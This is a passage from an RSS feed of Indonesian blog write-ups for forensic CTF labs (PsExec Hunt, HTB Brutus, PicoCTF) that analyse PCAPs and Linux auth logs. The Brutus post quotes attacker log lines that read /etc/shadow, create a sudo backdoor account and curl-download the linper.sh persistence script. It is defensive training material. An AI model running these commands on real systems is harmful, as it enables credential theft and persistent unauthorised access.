paket NTLM Challenge<strong> </strong>yang dikirim oleh server kepada <em>client </em>selama proses autentikasi SMB. Pada tahap ini server akan mengirimkan beberapa informasi identitas, seperti hostname dan domain yang digunakan <em>client </em>sebelum melanjutkan proses autentikasi.</p><p>Dari filter tersebut, muncul beberapa paket dengan deskripsi SMB2 Session Setup Response — NTLMSSP_CHALLENGE yang berasal dari <strong>10.0.0.133</strong> menuju <strong>10.0.0.130</strong>. Hal ini menunjukkan bahwa <strong>10.0.0.133</strong> sedang merespon proses autentikasi dari mesin penyerang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVinPEdhDTYcQhLMGwIBoA.png" /></figure><p>Aku mencoba melakukan Follow TCP Stream<strong> </strong>pada salah satu paket untuk melihat isi komunikasi yang terjadi pada sesi tersebut. Pada stream terlihat beberapa string yang berulang seperti ini:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcGEXCBHQImb4IPQcDafAg.png" /></figure><p>Ada string SALES-PC Sales-PC SALES-PC yang muncul sesudah string NTLMSSP karena pada proses NTLM Challenge, server memasukkan informasi identitasnya di dalam <strong>Security Blob</strong>, termasuk <strong>hostname</strong>.</p><p>Untuk memverifikasi temuan tersebut, kita bisa lihat bagian <strong>Packet Details</strong> kemudian diperiksa pada bagian Target name. disana terdapat nama <strong>SALES-PC</strong> menunjukkan bahwa mesin yang merespon proses autentikasi memiliki hostname <strong>SALES-PC.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rl7uzEvlKJEFb2YFwIum_Q.png" /></figure><blockquote>Flag: Sales-PC</blockquote><h4>Q3. Knowing the username of the account the attacker used for authentication will give us insights into the extent of the breach. What is the username utilized by the attacker for authentication?</h4><p>Setelah ditemukan bahwa penyerang melakukan pivot ke mesin <strong>SALES-PC</strong>, langkah berikutnya adalah mencari username yang digunakan penyerang saat melakukan autentikasi SMB.</p><p>Untuk menemukan username yang digunakan attacker saat melakukan autentikasi, analisis bakal difokuskan pada traffic <strong>SMB/SMB2</strong>, karena PsExec menggunakan protokol SMB untuk melakukan koneksi dan autentikasi ke mesin target. Langkah pertama adalah memfilter paket SMB pada Wireshark menggunakan filter:</p><pre>smb || smb2</pre><p>Filter ini menampilkan seluruh komunikasi yang menggunakan protokol SMB. Dari hasil filtering, terlihat paket <strong>SMB2 Session Setup Response</strong> pada <strong>packet 131</strong> dengan deskripsi <strong>STATUS_MORE_PROCESSING_REQUIRED</strong>, yang merupakan bagian dari proses autentikasi NTLM.</p><p>Dalam proses autentikasi SMB menggunakan NTLM, terdapat beberapa tahapan:</p><ol><li><strong>Negotiate Protocol Request</strong>: client dan server menyepakati protokol SMB yang akan digunakan.</li><li><strong>Session Setup Request: </strong>client mulai melakukan autentikasi menggunakan NTLM.</li><li><strong>NTLMSSP_NEGOTIATE</strong>: client mengirim kemampuan autentikasi NTLM.</li><li><strong>NTLMSSP_CHALLENGE</strong>: server merespon dengan challenge untuk memverifikasi identitas client. Jika server memberikan respon <strong>STATUS_MORE_PROCESSING_REQUIRED</strong> artinya proses autentikasi masih berlanjut dan server sudah menerima informasi kredensial yang digunakan oleh client.</li></ol><p>Dibawah ini adalah output packet 131:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*Ok_8TtzwAORR_xNxixMGDg.png" /></figure><p>Dari hasil analisis ditemukan bahwa username yang digunakan adalah <strong>ssales. </strong>Hal ini menunjukkan bahwa attacker menggunakan akun <strong>ssales</strong> untuk melakukan autentikasi ke mesin target melalui SMB sebelum melakukan aktivitas <em>lateral movement</em> menggunakan PsExec.</p><blockquote>Flag: ssales</blockquote><h4>Q4. After figuring out how the attacker moved within our network, we need to know what they did on the target machine. What’s the name of the service executable the attacker set up on the target?</h4><p>Masih dengan filter yang sama yaitu smb || smb2, kita bisa melihat aktivitas apa yang dilakukan attacker pada host tersebut. Dalam skenario <strong>PsExec</strong>, salah satu teknik yang umum dilakukan adalah membuat service sementara pada mesin target agar attacker dapat menjalankan perintah secara remote.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vEk2mtyTKWi_lLAv4KRXHg.png" /></figure><p>Dari filter tersebut, ada request yang dilakukan oleh IP 10.0.0.130 ke 10.0.0.133 yaitu membuat sebuah file bernama <strong>PSEXESVC.exe</strong> yang diterima oleh IP 10.0.0.133. File dengan ekstensi .exe adalah file yang bersifat <em>executable </em>baik menjalankan, menginstal, atau membuka aplikasi dan program komputer. File ini berisi kode biner atau perintah langsung yang dijalankan oleh sistem operasi.</p><blockquote>Flag: <strong>PSEXESVC.exe</strong></blockquote><h4>Q5. We need to know how the attacker installed the service on the compromised machine to understand the attacker’s lateral movement tactics. This can help identify other affected systems. Which network share was used by PsExec to install the service on the target machine?</h4><p>Untuk memahami bagaimana penyerang melakukan <em>lateral movement,</em> kita perlu melihat bagaimana PsExec bekerja di jaringan. Ketika PsExec dijalankan untuk mengeksekusi perintah secara remote, tool ini akan terlebih dahulu meng-copy <strong>PSEXESVC.exe </strong>ke mesin target sebelum service tersebut dijalankan.</p><p>Langkah pertama adalah melakukan filtering pada paket SMB yang berhubungan dengan koneksi ke network share dengan filter berikut:</p><pre>smb2.cmd == 3</pre><p>Filter ini akan menampilkan <strong>SMB2 Tree Connect Request</strong>, yaitu paket yang digunakan oleh client untuk menghubungkan diri ke suatu <strong><em>shared resource</em></strong> pada host lain.</p><p>Dari hasil filter tersebut terlihat beberapa koneksi yang dilakukan oleh host <strong>10.0.0.130</strong> ke host <strong>10.0.0.133</strong>. Salah satu paket yang menarik adalah <strong>packet 138</strong>, yang menunjukkan request berikut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jApGaMrS3YDT1PYO-pH2w.png" /></figure><p>Share <strong>ADMIN$ </strong>merupakan <strong><em>administrative share</em></strong> pada sistem Windows yang menunjuk langsung ke direktori Windows pada mesin target. Share ini biasanya hanya dapat diakses oleh akun dengan hak administratif dan sering digunakan oleh administrator untuk melakukan <em>remote management</em>, termasuk menyalin file ke sistem target.</p><p>Dalam penggunaan PsExec, share ini digunakan untuk meng-copy PSEXESVC.exe ke mesin target, yang kemudian akan dijalankan sebagai service untuk memungkinkan eksekusi command secara remote. Karena paket SMB menunjukkan bahwa koneksi dilakukan ke share tersebut saat proses instalasi service, dapat disimpulkan bahwa penyerang menggunakan share <strong>ADMIN$</strong>untuk melakukan instalasi service di mesin target.</p><blockquote>Flag: ADMIN$</blockquote><h4>Q6. We must identify the network share used to communicate between the two machines. Which network share did PsExec use for communication?</h4><p>Setelah service berhasil di copy dan dijalankan pada mesin target, PsExec tidak lagi menggunakan <strong>ADMIN$</strong> untuk komunikasi. Sebaliknya, tool ini akan membuat <em>communication channel</em> pakai share khusus yang disediakan oleh Windows untuk komunikasi antar proses.</p><p>Jika kita lihat kembali paket yang muncul dari filter sebelumnya (smb2.cmd == 3), kita akan menemukan paket lain yang menarik, yaitu <strong>packet 134</strong> dengan request berikut:</p><pre>Tree Connect Request Tree: \\10.0.0.133\IPC$</pre><p>Share <strong>IPC$</strong> merupakan share khusus pada Windows yang digunakan untuk <strong><em>Inter-Process Communication</em></strong>. Berbeda dengan share biasa, IPC$ tidak digunakan untuk menyimpan file, tetapi untuk memfasilitasi komunikasi antar sistem melalui mekanisme seperti <strong><em>named pipes</em></strong><em>.</em></p><p>Mekanisme PsExec setelah service berhasil dijalankan pada mesin target adalah membuka koneksi baru ke share IPC$ dan membuat <em>named pipe</em> sebagai channel komunikasinya. Channel tersebut berguna untuk mengirim perintah dari penyerang, menerima output mesin target dan mengontrol service yang sudah dibuat.</p><blockquote>Flag: IPC$</blockquote><h4>Q7. Now that we have a clearer picture of the attacker’s activities on the compromised machine, it’s important to identify any further lateral movement. What is the hostname of the second machine the attacker targeted to pivot within our network?</h4><p>Setelah mengetahui bagaimana attacker melakukan eksekusi remote menggunakan PsExec, langkah selanjutnya adalah mencari apakah ada pergerakan lateral lain ke mesin berbeda di dalam jaringan.</p><p>Untuk menemukan aktivitas autentikasi SMB lain, analisis dilakukan pada file PCAP dengan filter berikut:</p><pre>smb2.cmd == 1</pre><p>Nilai <strong>1 (0x01)</strong> pada field smb2.cmd menunjukkan <strong>SMB2 SESSION_SETUP</strong>, yaitu tahap di mana <em>client </em>mencoba melakukan autentikasi ke server setelah proses negosiasi protokol selesai. Tahap ini biasanya berisi mekanisme autentikasi seperti <strong>NTLM</strong>.</p><p>Dari hasil filter, terlihat paket <strong>Session Setup Response</strong> yang berisi <strong>NTLMSSP Challenge</strong>. Pada bagian Target Info, terdapat beberapa atribut yang mengungkap informasi tentang sistem target, seperti:</p><ul><li>NetBIOS domain name</li><li>NetBIOS computer name</li><li>DNS domain name</li><li>DNS computer name</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TYfm4ozLVfmeR6KC4z8TbA.png" /></figure><p>Informasi tersebut menunjukkan hostname dari mesin yang sedang diautentikasi. Pada paket ini terlihat nilai berikut:</p><pre>NetBIOS computer name: MARKETING-PC<br>DNS computer name: Marketing-PC</pre><p>Hal ini menunjukkan bahwa attacker mencoba melakukan autentikasi SMB ke mesin lain di jaringan dengan hostname <strong>MARKETING-PC</strong>, yang kemungkinan digunakan sebagai target berikutnya untuk melakukan pivot atau lateral movement.</p><blockquote>Flag: MARKETING-PC</blockquote><p>Akhirnya kita dapat menyelesaikan tantangan dari lab PsExec Hunt, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan lab ini atau lagi bingung dan kesulitan dalam menyelesaikan setiap <em>chall </em>nya (/≧▽≦)/. <em>See you on the next challenge </em>👋🏼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8924dd2fa228" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB | Brutus Write-UP]]></title>
            <link>https://medium.com/@nasakennedy40/htb-brutus-write-up-cf4bcf8ae91b?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf4bcf8ae91b</guid>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 06:59:07 GMT</pubDate>
            <atom:updated>2026-03-06T15:52:22.618Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*dXGwDEw8BcVIr4Pbs1wE9w.png" /></figure><p>Hi every-<em>nyan</em>, saya kembali (/≧▽≦)/. Di artikel ini kita bakal ngebahas Lab Brutus, salah satu <em>chall </em>dari lab Sherlock yang terdiri dari 8 <em>task. </em>Disini aku jelaskan panduan dan tahapan dalam menyelesaikan Lab Brutus. Enjoy 🍵</p><h3>Scenario</h3><blockquote>In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.</blockquote><h3>Solve</h3><p>Pertama, unduh file Brutus.zip agar bisa menganalisis dan menyelesaikan chall ini.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*rP2q_7ZovTnWM8lcvoBBVQ.png" /></figure><p>Kita diberikan 3 file yaitu:</p><ul><li>auth.log (berisi log aktivitas dalam sistem)</li><li>utmp.py (script python)</li><li>wtmp (file biner pada sistem Linux yang merekam aktivitas login dan logout)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*TDsVKTpsKbrbGw3LGp6hIg.png" /></figure><p>Dari hasil ekstraksi tadi, kita memerlukan file auth.log dan wtmp untuk dianalisis, namun karena file wtmp ini bersifat biner, maka perlu di ubah ke data yang bisa dibaca oleh manusia. Disini kita akan menggunakan script utmp.py untuk membaca file wtmp dengan perintah sebagai berikut:</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# TZ=UTC python3 utmp.py wtmp -o wtmp.log<br><br>                                                                                                                                                             <br>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# file wtmp.log<br>wtmp.log: ASCII text</pre><p>Dibawah ini adalah output dari file wtmp.log , hasilnya sudah bisa dibaca oleh manusia karena data ditampilkan dengan format ASCII.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yjGwTkzYwLxbCawoLH4cjg.png" /></figure><h4>1. Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?</h4><p>Untuk mencari alamat IP dari penyerang, kita bisa lihat log dengan informasi invalid user admin from 65.2.161.68 port 46380. Karakteristik brute force itu ditandai dengan user yang melakukan percobaan login atau memasukkan kredensial secara berulang dalam waktu yang sangat singkat, sangat tidak mungkin, bukan?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJkHMpTF2-IaEHWPk58sww.png" /></figure><p>Pada temuan log diatas, tercatat bahwa user dengan IP 65.2.161.68 gagal masuk ke sistem dan melakukan brute force dari pukul 06:31:31 hingga 06:31:40.</p><blockquote><strong>Flag: 65.2.161.68</strong></blockquote><h4>2. The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?</h4><p>Dari log sebelumnya kita sudah mengidentifikasi adanya sebuah alamat IP yang melakukan percobaan brute-force terhadap layanan SSH dengan mencoba berbagai kombinasi password serta username. Untuk mengetahui apakah penyerang berhasil masuk ke sistem, kita bisa mencari kata kunci <strong>Accept</strong> atau <strong>Accepted</strong> yang menandakan penyerang berhasil masuk ke sistem menggunakan kredensial tersebut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uAiTdhxynBinLrgwYycorA.png" /></figure><p>Pada gambar di atas terlihat bahwa pada pukul 06:31:40 akhirnya muncul baris <strong><em>“Accepted password for root</em>”</strong>, yang menandakan bahwa penyerang berhasil masuk ke sistem menggunakan akun <strong>root</strong> setelah sebelumnya berkali-kali gagal melakukan autentikasi selama proses brute-force berlangsung.</p><blockquote><strong>Flag: root</strong></blockquote><h4>3. Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.</h4><p>Untuk mendapatkan timestamp yang sesuai dengan aktivitas penyerang, kita akan melakukan analisis terhadap file wtmp dengan bantuan script Python yang disediakan.</p><p>Masukkan perintah dibawah ini untuk mengubah format file wtmp menjadi format yang bisa dibaca:</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# TZ=UTC python3 utmp.py wtmp -o wtmp.log<br><br>//TZ=UTC fungsinya buat convert zona waktu pada file output menjadi UTC (Greenwich)</pre><p>Setelah itu, kita buka file wtmp.log menggunakan perintah cat seperti dibawah ini:</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# cat wtmp.log | grep 65.2.161.68<br>&quot;USER&quot;  &quot;2549&quot;  &quot;pts/1&quot; &quot;ts/1&quot;  &quot;root&quot;  &quot;65.2.161.68&quot;   &quot;0&quot;     &quot;0&quot;     &quot;0&quot;     &quot;2024/03/06 06:32:45&quot;   &quot;387923&quot;        &quot;65.2.161.68&quot;<br>&quot;USER&quot;  &quot;2667&quot;  &quot;pts/1&quot; &quot;ts/1&quot;  &quot;cyberjunkie&quot;   &quot;65.2.161.68&quot;   &quot;0&quot;     &quot;0&quot;     &quot;0&quot;     &quot;2024/03/06 06:37:35&quot;   &quot;475575&quot;        &quot;65.2.161.68&quot;</pre><p>Dari hasil output tersebut terlihat bahwa pada 06:32:45 alamat IP 65.2.161.68 berhasil membuka sesi login menggunakan akun root. Temuan ini mengonfirmasi bahwa setelah proses brute-force berhasil, penyerang benar-benar memperoleh akses terminal interaktif ke sistem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*ete7ZoqSZxjfHTXviWIsQg.png" /></figure><p>Jika dibandingkan dengan auth.log sebelumnya yang mencatat<em> “Accepted password”</em> pada 06:32:44, terdapat selisih waktu sekitar satu detik. Perbedaan ini wajar terjadi karena auth.log mencatat keberhasilan autentikasi, sedangkan wtmp mencatat saat sesi login benar-benar dibuat dan mulai digunakan oleh penyerang.</p><blockquote><strong>Flag<em>: </em>2024-03-06 06:32:45</strong></blockquote><h4>4. SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?</h4><p>Setiap sesi login SSH pada sistem akan diberikan nomor sesi unik untuk memudahkan proses pelacakan aktivitas pengguna. Informasi ini dapat ditemukan pada file auth.log, biasanya muncul pada baris log setelah baris yang menunjukkan bahwa sesi login telah berhasil dibuka.</p><pre>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2<br>Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)<br>Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.</pre><p>Berdasarkan log yang dianalisis, setelah penyerang berhasil melakukan autentikasi menggunakan akun root, sistem mencatat pembukaan sesi login melalui modul pam_unix. Tidak lama setelah itu, layanan systemd-logind membuat sesi baru yang ditandai dengan baris<strong><em> “New session 37 of user root</em>”</strong>. Hal ini menunjukkan bahwa sesi SSH yang digunakan oleh penyerang pada saat itu tercatat dengan session ID 37.</p><blockquote><strong>Flag: 37</strong></blockquote><h4>5. The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?</h4><p>Salah satu cara yang sering digunakan penyerang untuk mempertahankan akses ke sistem adalah dengan membuat akun pengguna baru. Teknik ini dikenal sebagai <em>persistence</em>, yaitu upaya agar penyerang tetap bisa masuk kembali ke sistem yang sudah berhasil mereka kompromikan.</p><pre>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie<br>Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002<br>Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1<br>Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie<br>Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user &#39;cyberjunkie&#39; information<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root<br>Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence</pre><p>Dari hasil analisis auth.log, ada aktivitas pembuatan grup dan pengguna baru dengan nama cyberjunkie, yang ditandai dengan baris groupadd dan useradd. Log tersebut menunjukkan bahwa akun cyberjunkie dibuat dengan direktori home /home/cyberjunkie dan shell /bin/bash. Tidak lama setelah itu, password untuk akun tersebut juga diubah sehingga akun ini siap digunakan untuk login.</p><pre>Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence<br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to group &#39;sudo&#39;      <br>Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add &#39;cyberjunkie&#39; to shadow group &#39;sudo&#39;</pre><p>Selain itu, akun cyberjunkie juga ditambahkan ke dalam sudo group, yang berarti pengguna ini punya hak untuk menjalankan perintah dengan privilege administratif menggunakan perintah sudo. Dengan cara ini, penyerang tidak perlu selalu menggunakan akun root dan tetap dapat menjalankan perintah penting di sistem.</p><blockquote><strong>Flag: cyberjunkie</strong></blockquote><h4>6. What is the MITRE ATT&amp;CK sub-technique ID used for persistence by creating a new account?</h4><p>Untuk memahami teknik yang digunakan penyerang dalam mempertahankan akses, kita dapat merujuk pada <em>framework </em><strong><em>MITRE ATT&amp;CK</em></strong>, yang mengkategorikan berbagai taktik dan teknik yang umum digunakan oleh penyerang.</p><p>Dari hasil analisis sebelumnya diketahui bahwa penyerang membuat akun<strong> </strong>pengguna<strong> </strong>baru sebagai bagian dari mekanisme <strong><em>persistence</em></strong>. Akun yang dibuat adalah akun lokal pada sistem yang telah dikompromikan. Dari sini bisa kita cari sub teknik yang digunakan oleh penyerang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6viH-m9gVqO7FSz-0UN3Q.png" /></figure><p>Dalam<em> framework MITRE ATT&amp;CK, </em>aktivitas pembuatan akun baru termasuk dalam teknik <strong><em>Create Account</em> (T1136)</strong>. Teknik ini memiliki beberapa sub-technique berdasarkan jenis akun yang dibuat, yaitu<em> </em><strong><em>Domain Account</em></strong><em>, </em><strong><em>Local Account</em></strong><em>, </em>dan<em> </em><strong><em>Cloud Account</em></strong><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2KMtLEnmNnxLtucNmhrubQ.png" /></figure><p>Karena pada investigasi ini akun yang dibuat berada langsung pada sistem target (bukan domain atau cloud), maka teknik yang sesuai adalah <em>sub-technique</em> <strong><em>Create Account: Local Account</em> (T1136.001)</strong>. Teknik ini sering digunakan oleh penyerang untuk mempertahankan akses ke sistem yang sudah berhasil mereka kompromikan.</p><blockquote><strong>Flag: T1136.001</strong></blockquote><h4>7. What time did the attacker’s first SSH session end according to auth.log?</h4><p>Untuk mengetahui kapan sesi SSH pertama milik penyerang berakhir, kita bisa cek kembali pada log <strong>auth.log</strong> dan melihat <strong>session ID 37</strong> yang sebelumnya telah diidentifikasi sebagai sesi login milik penyerang menggunakan akun <strong>root</strong>.</p><pre>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root</pre><p>Pada log terlihat baris <strong><em>“Received disconnect”</em></strong> yang diikuti dengan <strong><em>“Disconnected from user root”</em></strong>, yang menunjukkan bahwa koneksi SSH dari alamat IP <strong>65.2.161.68</strong> telah ditutup oleh pengguna. Setelah itu, sistem juga mencatat<em> </em><strong><em>“session closed for user root”</em></strong>, yang menandakan bahwa sesi SSH tersebut benar-benar telah berakhir.</p><pre>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184<br>Mar  6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root</pre><p>Lalu layanan <strong>systemd-logind m</strong>encatat<em> </em><strong><em>“Session 37 logged out”</em></strong> dan <strong><em>“Removed session 37”</em></strong>, yang mengonfirmasi bahwa sesi tersebut telah dihentikan sepenuhnya oleh sistem.</p><pre>Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.<br>Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.</pre><p>Berdasarkan baris log tersebut, dapat disimpulkan bahwa sesi SSH pertama milik penyerang berakhir pada pukul 06:37:24.</p><blockquote><strong>Flag: 2024–03–06 06:37:24</strong></blockquote><h4>8. The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?</h4><p>Pada log auth.log, penyerang melakukan eksekusi perintah sudo sebagai berikut:</p><pre>Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow</pre><p>Penyerang menggunakan akun backdoor <strong>cyberjunkie</strong> untuk menjalankan perintah dengan hak akses yang lebih tinggi menggunakan sudo. Meskipun auth.log bukan log yang secara khusus mencatat semua eksekusi perintah, aktivitas yang dijalankan menggunakan sudo tetap tercatat karena memerlukan proses autentikasi.</p><p>Pada log terlihat bahwa pengguna <strong>cyberjunkie</strong> menjalankan perintah sebagai root, yang menunjukkan bahwa akun tersebut memang memiliki privilege administratif. Dengan hak akses tersebut, penyerang kemudian mengeksekusi perintah untuk mengunduh sebuah <em>script</em> dari repo GitHub, kemungkinan untuk digunakan pada tahap eksploitasi atau aktivitas lanjutan di sistem.</p><p>Dari log tersebut, perintah lengkap yang dijalankan menggunakan sudo adalaaaaahhhhh…….</p><blockquote><strong>Flag: /usr/bin/curl </strong><a href="https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh"><strong>https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh</strong></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*WZ3v0xc11BoEWIrcLi5jmw.png" /></figure><p>Akhirnya kita dapat menyelesaikan tantangan dari lab Brutus, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan lab ini atau lagi bingung dan kesulitan dalam menyelesaikan setiap <em>chall </em>nya(/≧▽≦)/. <em>See you on the next challenge </em>👋🏼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf4bcf8ae91b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF | Forensics Category Part 2 (Ph4nt0m 1ntrud3r & Event-Viewing)]]></title>
            <link>https://medium.com/@nasakennedy40/picoctf-bf046b3bcfa5?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf046b3bcfa5</guid>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 05:56:02 GMT</pubDate>
            <atom:updated>2026-03-02T02:01:25.036Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9uaWLwvLmv0vE-CU.jpeg" /></figure><p>(●&#39;◡&#39;●) Holaa, kembali lagi bersama sya. Kali ini aku membuat <em>write-up </em>dari <em>chall </em>Forensics di PicoCTF, pastinya ramah buat pemula (<em>i hope</em>). Dalam <em>write-up</em> ini aku sudah menyelesaikan 2 <em>chall </em>dengan level kesulitan yang berbeda yaitu:</p><ul><li>Ph4nt0m 1ntrud3r (EZ)</li><li>Event-Viewing (Medium)</li></ul><p>Enjoy 🍵</p><h3>Ph4nt0m 1ntrud3r</h3><h4>Scenario</h4><blockquote>A digital ghost has breached my defenses, and my sensitive data has been stolen! <em>😱💻</em> Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.To solve this challenge, you’ll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!Find the PCAP file here <a href="https://challenge-files.picoctf.net/c_verbal_sleep/960abba2fdbc9be5013ef87f1df67213e9b63d4561d7a8c8c1ce7a4ce40a547e/myNetworkTraffic.pcap">Network Traffic PCAP file</a> and try to get the flag.</blockquote><h4>Solve</h4><h4>Step 1:</h4><p>Buka file .pcap yang telah di unduh dari deskripsi <em>challenge </em>dan lakukan analisis terhadap traffic lognya terlebih dahulu. Di Frame 1 terlihat bahwa IP Source mengirim packet SYN ke IP Destination yang menandakan IP Source memulai proses <em>Three-Way Handshake </em>pada koneksi TCP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZHJwa4yYFCf7zTy0GVupQ.png" /></figure><p>Selain itu, setiap payload yang dikirim hanya berkisar 44–52 byte, artinya ada kemungkinan bahwa penyerang melakukan teknik <em>data exfiltration</em> untuk memanipulasi traffic agar terlihat seperti normal.</p><p>Disini aku menemukan sebuah packet anomali pada Frame 2 yang memiliki deskripsi “<strong>(TCP Out-Of-Order) Illegal Segments”, </strong>dan paket ini ditandai sebagai anomali.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wA81Cx8V8kr0igf42QlzAQ.png" /></figure><p>Karena terlihat anomali, paket ini kemudian dianalisis lebih lanjut dengan mengekstrak payload-nya. Data didapat menunjukkan pola encoding, jadi aku mencoba melakukan proses decoding pakai CyberChef. Dan ternyata data tersebut berisi potongan flag yaitu <strong>{1t-_w4s</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/154/1*yg54oSR1R6BhcJ-9xPWjvQ.png" /></figure><h4>Step 2:</h4><p>Dari output sebelumnya, bisa diasumsikan kalau komunikasi tersebut nggak cuma berisi satu bagian flag, tapi beberapa potongan yang sengaja dipecah supaya nggak langsung terlihat jelas di log. Selanjutnya, log diurutkan berdasarkan timestamp dari yang paling awal sampai akhir untuk melihat alur komunikasi dan pola pengiriman datanya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vLmP6u9A_oG3LMYLBGI2oA.png" /></figure><p>Dari salah satu string yang ditemukan, terlihat pola Base64, jadi untuk mempermudah pencarian, kita fokus mencari string dengan karakteristik yang sama — terutama yang mengandung simbol &quot;==&quot;—menggunakan fitur navigasi atau tombol panah di keyboard.</p><p>Ada 7 frame yang memiliki payload serupa yaitu:</p><ul><li>6 frame dengan ukuran data 52 byte</li><li>1 frame dengan ukuran data 44 